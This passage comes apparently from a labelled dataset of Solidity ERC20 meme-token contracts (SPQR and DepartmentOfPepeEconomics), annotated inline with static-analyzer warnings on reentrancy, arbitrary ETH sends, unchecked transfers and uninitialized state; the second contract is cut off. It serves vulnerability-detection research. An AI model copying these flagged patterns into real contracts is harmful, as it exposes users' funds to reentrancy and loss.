b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SPQR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 819149f): SPQR._taxWallet should be immutable \n\t// Recommendation for 819149f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a483db4): SPQR._initialBuyTax should be constant \n\t// Recommendation for a483db4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69a74a8): SPQR._initialSellTax should be constant \n\t// Recommendation for 69a74a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c051f52): SPQR._reduceBuyTaxAt should be constant \n\t// Recommendation for c051f52: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: c678be7): SPQR._reduceSellTaxAt should be constant \n\t// Recommendation for c678be7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43ed028): SPQR._preventSwapBefore should be constant \n\t// Recommendation for 43ed028: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e04bf9): SPQR.zero should be constant \n\t// Recommendation for 7e04bf9: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SPQR\";\n\n string private constant _symbol = unicode\"SPQR\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f77d80): SPQR._taxSwapThreshold should be constant \n\t// Recommendation for 2f77d80: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d749850): SPQR._maxTaxSwap should be constant \n\t// Recommendation for d749850: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9e2cf97): SPQR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9e2cf97: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fbb4be7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fbb4be7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3b73a07): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3b73a07: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fbb4be7\n\t\t// reentrancy-benign | ID: 3b73a07\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fbb4be7\n\t\t// reentrancy-benign | ID: 3b73a07\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a5c26c): SPQR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a5c26c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3b73a07\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fbb4be7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e9049e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e9049e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a8c851d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a8c851d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6e9049e\n\t\t\t\t// reentrancy-eth | ID: a8c851d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6e9049e\n\t\t\t\t\t// reentrancy-eth | ID: a8c851d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a8c851d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a8c851d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a8c851d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6e9049e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a8c851d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a8c851d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6e9049e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fbb4be7\n\t\t// reentrancy-events | ID: 6e9049e\n\t\t// reentrancy-benign | ID: 3b73a07\n\t\t// reentrancy-eth | ID: a8c851d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2eab252): SPQR.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2eab252: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fbb4be7\n\t\t// reentrancy-events | ID: 6e9049e\n\t\t// reentrancy-eth | ID: a8c851d\n\t\t// arbitrary-send-eth | ID: 2eab252\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b6132b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b6132b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cad08b4): SPQR.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cad08b4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d5af8bd): SPQR.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d5af8bd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b20883c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b20883c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: b6132b2\n\t\t\t// reentrancy-eth | ID: b20883c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: b6132b2\n\t\t// unused-return | ID: d5af8bd\n\t\t// reentrancy-eth | ID: b20883c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b6132b2\n\t\t// unused-return | ID: cad08b4\n\t\t// reentrancy-eth | ID: b20883c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b6132b2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b20883c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f5881c2): SPQR.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for f5881c2: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: f5881c2\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10560.sol",
"size_bytes": 20925,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DepartmentOfPepeEconomics is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 021856f): DepartmentOfPepeEconomics.bots is never initialized. It is used in DepartmentOfPepeEconomics._transfer(address,address,uint256) DepartmentOfPepeEconomics.isBot(address)\n\t// Recommendation for 021856f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 73e46a2): DepartmentOfPepeEconomics._taxWallet should be immutable \n\t// Recommendation for 73e46a2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7bbe1fc): DepartmentOfPepeEconomics._initialBuyTax should be constant \n\t// Recommendation for 7bbe1fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7086fbe): DepartmentOfPepeEconomics._initialSellTax should be constant \n\t// Recommendation for 7086fbe: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 876c0a6): DepartmentOfPepeEconomics._reduceBuyTaxAt should be constant \n\t// Recommendation for 876c0a6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 424aec6): DepartmentOfPepeEconomics._reduceSellTaxAt should be constant \n\t// Recommendation for 424aec6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1da6c2): DepartmentOfPepeEconomics._preventSwapBefore should be constant \n\t// Recommendation for d1da6c2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Department Of Pepe Economics\";\n\n string private constant _symbol = unicode\"DOPE\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d250b47): DepartmentOfPepeEconomics._taxSwapThreshold should be constant \n\t// Recommendation for d250b47: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c1f64ea): DepartmentOfPepeEconomics._maxTaxSwap should be constant \n\t// Recommendation for c1f64ea: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa8800d): DepartmentOfPepeEconomics.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fa8800d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8a29096): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8a29096: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ad3308e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ad3308e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8a29096\n\t\t// reentrancy-benign | ID: ad3308e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8a29096\n\t\t// reentrancy-benign | ID: ad3308e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 68815d5): DepartmentOfPepeEconomics._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 68815d5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ad3308e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8a29096\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 83ccf17): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 83ccf17: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 021856f): DepartmentOfPepeEconomics.bots is never initialized. It is used in DepartmentOfPepeEconomics._transfer(address,address,uint256) DepartmentOfPepeEconomics.isBot(address)\n\t// Recommendation for 021856f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 78d723d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 78d723d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 83ccf17\n\t\t\t\t// reentrancy-eth | ID: 78d723d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 83ccf17\n\t\t\t\t\t// reentrancy-eth | ID: 78d723d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 78d723d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 78d723d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 78d723d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 83ccf17\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 78d723d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 78d723d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 83ccf17\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 83ccf17\n\t\t// reentrancy-events | ID: 8a29096\n\t\t// reentrancy-benign | ID: ad3308e\n\t\t// reentrancy-eth | ID: 78d723d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n 